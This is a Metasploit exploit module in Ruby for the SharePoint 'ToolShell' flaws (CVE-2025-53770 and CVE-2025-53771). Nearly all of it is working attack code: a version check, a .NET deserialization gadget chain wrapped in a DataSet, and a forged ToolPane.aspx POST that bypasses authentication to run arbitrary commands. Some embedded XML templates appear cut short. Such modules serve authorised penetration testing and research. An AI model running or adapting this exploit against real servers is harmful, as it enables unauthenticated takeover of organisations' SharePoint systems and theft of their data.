1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)', 'Description' => %q{ This module exploits the authentication bypass vulnerability CVE-2025-53771 (a patch bypass of CVE-2025-49706), and an unsafe deserialization vulnerability CVE-2025-53770 (a patch bypass of CVE-2025-49704), to achieve unauthenticated RCE against a vulnerable Microsoft SharePoint Server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Viettel Cyber Security', 'sfewer-r7' ], 'References' => [ ['CVE', '2025-49704'], ['CVE', '2025-49706'], ['CVE', '2025-53770'], ['CVE', '2025-53771'], ['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'], ['URL', 'https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/'], ['URL', 'https://securelist.com/toolshell-explained/'], ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'], ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'], ['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'], ['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'], ['URL', 'https://x.com/codewhitesec/status/1944743478350557232'], ['URL', 'https://x.com/thezdi/status/1923317597673533552'], ['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html'] ], 'DisclosureDate' => '2025-07-19', 'Platform' => ['win'], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Default', {} ] ], 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false, 'FETCH_DELETE' => true, 'URIPATH' => '/' }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end
def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx') )
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)
return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
version = Rex::Version.new(site_client_tag[1])
# We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We # compare the target version against the RTM version (i.e. the first version of an edition) and the version *before* # the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706 # from July 2025). # https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019 # https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
ranges = [ [ 'Microsoft SharePoint Server Subscription Edition', '16.0.14326.20450', # The RTM version (circa 2021) '16.0.18526.20424' # July 2025 ], [ 'Microsoft SharePoint Server 2019', '16.0.10337.12109', # The RTM version (circa 2019) '16.0.10417.20027' # July 2025 ], [ 'Microsoft SharePoint Enterprise Server 2016', '16.0.4351.1000', # The RTM version (circa 2017) '16.0.5508.1000' # July 2025 ], # NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable. [ 'SharePoint Server 2013', '15.0.4481.1005', '15.0.5545.1000' # Last version before end of support. ], [ 'SharePoint Server 2010', '14.0.7015.1000', '14.0.7268.5000' # Last version before end of support. ] ]
ranges.each do |product, rtm_version, patch_version| if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version)) return Exploit::CheckCode::Appears("Detected end end
Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}") end
def exploit gadget_raw = create_gadget_chain send_exploit(gadget_raw) end
class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
def self.generate(nested_gadget_b64) name_a = Rex::Text.rand_text_alpha_lower(8..16) name_b = Rex::Text.rand_text_alpha_lower(8..16) name_c = Rex::Text.rand_text_alpha_lower(8..16)
schema = <<~EOF <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}"> <xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="#{name_b}"> <xs:complexType> <xs:sequence> <xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> EOF
diffgram = <<~EOF <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> < < < <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Deserialize</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> </MethodParameters> <ObjectInstance xsi:type="LosFormatter"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfLosFormatterObjectDataProvider> </ </ </ </diffgr:diffgram> EOF
system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new( library_id: 2, library_name: system.to_s )
from_values([ Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1), library, Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new( class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new( obj_id: 1, name: 'System.Data.DataSet', member_names: %w[XmlSchema XmlDiffGram] ), member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new( binary_type_enums: %i[String String] ), library_id: library.library_id, member_values: [ Msf::Util::DotNetDeserialization::Types::Record.from_value( Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new( obj_id: 3, string: schema ) ), Msf::Util::DotNetDeserialization::Types::Record.from_value( Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new( obj_id: 2, string: diffgram ) ), ] ), Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new ]) end end
def create_gadget_chain
typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TypeConfuseDelegate, formatter: :LosFormatter )
vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:') vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:') vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
dataset_gadget_raw end
def send_exploit(gadget_raw) gadget_gzip = StringIO.new
gzip = Zlib::GzipWriter.new(gadget_gzip) gzip.write(gadget_raw) gzip.close
namespace_ui = Rex::Text.rand_text_alpha_lower(8..16) namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
xml = <<~EOF <%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %> <%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> < <ProgressTemplate> < </ProgressTemplate> </ EOF
send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri( target_uri.path, '_layouts', '15', 'ToolPane.aspx', Rex::Text.rand_text_alpha_lower(8..16) ), 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') }, 'vars_get' => { 'DisplayMode' => 'Edit', Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' }, 'vars_post' => { 'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), 'MSOTlPn_DWP' => xml } ) end end
|